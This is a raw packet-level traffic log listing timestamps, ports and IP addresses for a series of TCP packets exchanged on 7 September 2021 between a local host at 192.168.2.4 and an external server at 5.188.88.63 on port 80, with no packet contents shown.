Sep 7, 2021 16:03:07.138088942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138123035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138150930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.138154030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138185978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138211966 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.144587994 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.213788033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213813066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213829041 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213845968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213877916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213892937 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.213902950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.213920116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213941097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213956118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.213974953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.213994980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214015961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214037895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214050055 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214056015 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214078903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214101076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214119911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214135885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214160919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214169025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214174986 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214195013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214216948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214236975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214245081 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214267969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214288950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214302063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214318037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214334011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214349031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214365959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214379072 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214384079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214401007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214418888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214435101 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214438915 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214447975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214467049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214488029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214505911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214524031 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214526892 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214535952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214572906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214597940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214608908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214626074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214642048 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214660883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214677095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214688063 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214692116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214711905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214736938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214757919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214781046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214793921 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214797974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214821100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214842081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214857101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214874029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214884043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214886904 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.214901924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.214919090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.215641975 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.215652943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.289671898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289710045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289741993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289763927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289786100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289803982 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.289813995 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.289833069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289855957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289875031 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.289890051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289917946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289941072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.289953947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.289978027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290002108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290024996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290044069 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290046930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290052891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290066004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290080070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290095091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290122986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290148973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290162086 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290184975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290209055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290231943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290235996 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290245056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290263891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290282011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290292025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290308952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290329933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290343046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290366888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290390015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290407896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290424109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290431976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290436983 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290453911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290471077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290487051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290502071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290513039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290515900 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290529013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290544033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290559053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290577888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290596008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290607929 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290611982 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290626049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290644884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290659904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290669918 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290673971 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290690899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290709019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290724993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290741920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290752888 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290755987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290769100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290786028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290805101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290822029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290837049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290844917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290848970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290863991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290879011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290894032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290913105 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290918112 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290924072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290944099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290961981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290978909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.290987968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.290992022 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291007042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291026115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291043043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291055918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291066885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291079998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291091919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291104078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291134119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291137934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291150093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291167021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291184902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291201115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291215897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291225910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291229963 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291243076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291258097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291280031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291286945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291290045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291307926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291326046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291342974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291358948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291368008 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291371107 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291385889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291402102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291420937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291439056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291449070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291451931 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291466951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291482925 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291501045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291516066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291534901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291553974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291563034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291565895 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291582108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291598082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291615009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291624069 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291626930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291641951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291656971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291673899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291688919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291701078 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291702986 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291717052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291737080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291754961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.291776896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.291781902 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.295068026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.295097113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.364905119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.364928961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.364942074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.364959002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.364970922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.364983082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365061045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365108013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365132093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365154028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365173101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365195036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365215063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365228891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365233898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365252972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365278006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365298986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365318060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365329981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365334034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365350962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365370989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365391016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365408897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365418911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365422010 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365443945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365463972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365483999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365506887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365514040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365516901 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365536928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365557909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365576982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365596056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365616083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365628004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365633011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365653038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365675926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365700960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365710020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365714073 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365734100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365755081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365777969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365798950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365822077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365829945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365835905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365855932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365878105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365896940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365911007 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365916014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365936995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365947962 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.365971088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.365992069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.366015911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.366024971 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.366045952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.366066933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.366087914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.366107941 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.366117954 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.366122961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.368809938 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.439724922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439771891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439794064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439816952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439840078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439865112 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439922094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439943075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.439977884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.439990044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.440011024 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.440035105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.440064907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.440125942 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.445755959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.445780993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.445792913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.445806026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447272062 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.447285891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.447346926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447374105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447391033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447407961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447428942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447451115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447469950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447493076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447521925 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447547913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447591066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447613955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447640896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447662115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.447674036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447695017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447730064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447748899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.447762012 CEST	80	49772	5.188.88.63	192.168.2.4
